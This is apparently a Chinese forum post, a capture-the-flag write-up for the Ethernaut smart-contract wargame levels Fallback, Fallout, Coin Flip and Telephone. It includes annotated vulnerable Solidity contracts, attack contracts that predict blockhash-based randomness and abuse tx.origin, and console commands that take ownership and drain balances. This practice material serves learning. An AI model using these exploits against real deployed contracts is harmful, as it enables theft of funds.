【智能合约】Ethernaut writeup(二)

Fallback

通关条件:
获得合约的所有权
把余额减少成 0

pragma solidity ^0.4.18;
import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract Fallback is Ownable {
  //Fallback合约继承自Ownable合约
  using SafeMath for uint256;
  mapping(address => uint) public contributions;
	//通过映射,可以使用地址获取贡献的值
  function Fallback() public {
    contributions[msg.sender] = 1000 * (1 ether);
  }//构造函数设置合约创建者的贡献值为1000以太币

  function contribute() public payable {
    require(msg.value < 0.001 ether);//每次贡献的值小于0.001以太币
    contributions[msg.sender] = contributions[msg.sender].add(msg.value);//累计起来
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }//当你贡献的值大于1000的时候就你成为合约所有者
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }//获取你的贡献值

  function withdraw() public onlyOwner {
    owner.transfer(this.balance);
  }//onlyOwner修饰,所以只有合约所有者才能用来提款

  function() payable public {
    require(msg.value > 0 && contributions[msg.sender] > 0);//判断金额与贡献值是否大于零
    owner = msg.sender;//msg.sender就是调用者,也就是我们
    //执行这一条语句owner就成了我们
  }
}

思路:首先贡献一点金额,来通过 require 触发 fallback 函数,来成为合约的所有者,然后 withdraw 函数转走合约中的所有钱

贡献金额 contract.contribute({value:1})
这个 1 代表 1 wei,是以太币最小的单位

查看一下合约中的余额 await getBalance(instance)

await contract.owner() 先看一下合约所有者

补充,触发 fallback 函数的条件:

  • 当调用一个不存在的函数的时候
  • 发送没有数据的纯 ether 时

所以我们可以通过
await contract.sendTransaction({value: 1})
来发送触发 fallback 函数

这时候合约所有者就是我们了


现在我们已经是合约的所有者了,可以调用那个 withdraw 函数来提现了

一开始合约中有 0.000...00002
执行 contract.withdraw() 之后合约里没钱了

image

目标完成,提交,通过!

Fallout

目标:获得合约所有权

pragma solidity ^0.4.18;
import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
contract Fallout is Ownable {
  using SafeMath for uint256;
  mapping (address => uint) allocations;
  //这个public的函数并不是构造函数(l与1)...直接调用就可以了
  function Fal1out() public payable {
    owner = msg.sender;//这条语句就能让我们成为合约所有者
    allocations[owner] = msg.value;
  }
  function allocate() public payable {
    allocations[msg.sender] = allocations[msg.sender].add(msg.value);
  }
  function sendAllocation(address allocator) public {
    require(allocations[allocator] > 0);
    allocator.transfer(allocations[allocator]);
  }
  function collectAllocations() public onlyOwner {
    msg.sender.transfer(this.balance);
  }
  function allocatorBalance(address allocator) public view returns (uint) {
    return allocations[allocator];
  }
}

先看一下一开始合约的所有者,直接调用 Fal1out() 函数,再看一下

Coin Flip

猜硬币游戏,目标:连续猜对十次

pragma solidity ^0.4.18;
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract CoinFlip {
  using SafeMath for uint256;
  uint256 public consecutiveWins;//连胜次数
  uint256 lastHash;//上一个hash
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
	//这个数是2^255
  function CoinFlip() public {
    consecutiveWins = 0;
  }//构造函数,每次开始把赢的次数归零

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(block.blockhash(block.number.sub(1)));
		//blockValue等于前一个区块的hash值转换成uint256,block.number是当前区块数,减一就是上一个了
    if (lastHash == blockValue) {
      revert();//如果最后的hash等于计算出来的
    }//中止执行并将所做的更改还原为执行前状态

    lastHash = blockValue;//改成上个区块的hash值为这个区块的
    uint256 coinFlip = blockValue.div(FACTOR);
    //coinFlip等于blockValue除以FACTOR,而FACTOR换成256的二进制就是最左位是0,右边全是1
    //因为除法运算会取整,所以coinFlip由blockValue的最高位决定
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;//如果我们猜的跟他算出来的一样的话连胜次数加一
      return true;
    } else {
      consecutiveWins = 0;//否则归零
      return false;
    }
  }
}

首先获取一个实例,然后拿到合约的地址以及 consecutiveWins 的值

我们来考虑一下,应该怎么实现攻击,首先,我们已经知道他的算法是怎么样的了,而且它用来计算的东西我们同样可以找到,所以,我们完全可以先进行计算,把结果在给他发过去就好啦

exp 如下,把 exp 代码复制到 remix IDE 中,部署 exploit 合约(要用之前得到的那个合约地址)

pragma solidity ^0.4.18;
import './SafeMath.sol';

contract CoinFlip {
  using SafeMath for uint256;
  uint256 public consecutiveWins;//连胜次数
  uint256 lastHash;//上一个hash
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
	//这个数是2^255
  function CoinFlip() public {
    consecutiveWins = 0;
  }//构造函数,每次开始把赢的次数归零

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(block.blockhash(block.number.sub(1)));
		//blockValue等于前一个区块的hash值转换成uint256,block.number是当前区块数,减一就是上一个了
    if (lastHash == blockValue) {
      revert();//如果最后的hash等于计算出来的
    }//中止执行并将所做的更改还原为执行前状态

    lastHash = blockValue;//改成上个区块的hash值为这个区块的
    uint256 coinFlip = blockValue.div(FACTOR);
    //coinFlip等于blockValue除以FACTOR,而FACTOR换成256的二进制就是最左位是0,右边全是1
    //因为除法运算会取整,所以coinFlip由blockValue的最高位决定
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;//如果我们猜的跟他算出来的一样的话连胜次数加一
      return true;
    } else {
      consecutiveWins = 0;//否则归零
      return false;
    }
  }
}
contract attack{
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
    CoinFlip expFlip = CoinFlip(0xaf32f2862fb9b6f7dfe113122cd6891f8f81acb9);
  //这表示已经有一个CoinFlip合约部署在了这个地址
    function pwn(){
         uint256 blockValue = uint256(block.blockhash(block.number-1));
          uint256 coinFlip = blockValue /FACTOR;
          bool side = coinFlip == 1 ? true : false;
          expFlip.flip(side);
    }
}

这里也贴一下 SafeMath.sol

//SafeMath.sol
pragma solidity ^0.4.18;
library SafeMath {
  function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    if (a == 0) {
      return 0;
    }
    uint256 c = a * b;
    assert(c / a == b);
    return c;
  }
  function div(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a / b;
    return c;
  }
  function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    assert(b <= a);
    return a - b;
  }
  function add(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a + b;
    assert(c >= a);
    return c;
  }
}

首先,生成题目实例,复制题目合约的地址

使用 http://remix.ethereum.org 部署我们的 attack 合约,把题目合约地址复制给他的构造函数,然后 Deploy 部署

点击 pwn 来攻击

在题目的控制台看一下连胜次数,直到 c 的值成了 10,就可以点击橙色提交啦

image

成功!

Telephone

目标:获得合约所有权

pragma solidity ^0.4.18;
contract Telephone {
  address public owner;
  function Telephone() public {
    owner = msg.sender;
  }//构造函数,部署的人是合约的所有者
  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }//最初调用合约的人与调用者不一样的话,就把合约的所有者改成_owner
  }
}

画个图了解一下 tx.origin 与 msg.sender 的区别(对于最右边的来说)

很明显,想要让 tx.origin 跟 msg.sender 不同,我们只需要部署一个合约,通过这个合约去调用题目合约的 changeOwner 就可以啦

首先 await contract.owner() 看一下现在合约的所有者

exp 如下:

pragma solidity ^0.4.18;
contract Telephone {
  address public owner;
  function Telephone() public {
    owner = msg.sender;
  }//构造函数,部署的人是合约的所有者
  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }//最初调用合约的人与调用者不一样的话,就把合约的所有者改成_owner
  }
}
contract attack{
  Telephone hacked = Telephone(0xad9337ea22bcb2b93e7a4b73b02aba243fa0a229);
	function pwn{
    hacked.changeOwner(msg.sender);
    //这个参数msg.sender是调用pwn函数的调用者,也就是我们的地址,也就是tx.origin
    //但是对于题目合约来说,msg.sender却是调用它的我们部署的attack合约的地址
  }
}

部署之后,点击 hack 就可以啦

再看一下,合约所有者已经变了

image

提交就好啦

3 个赞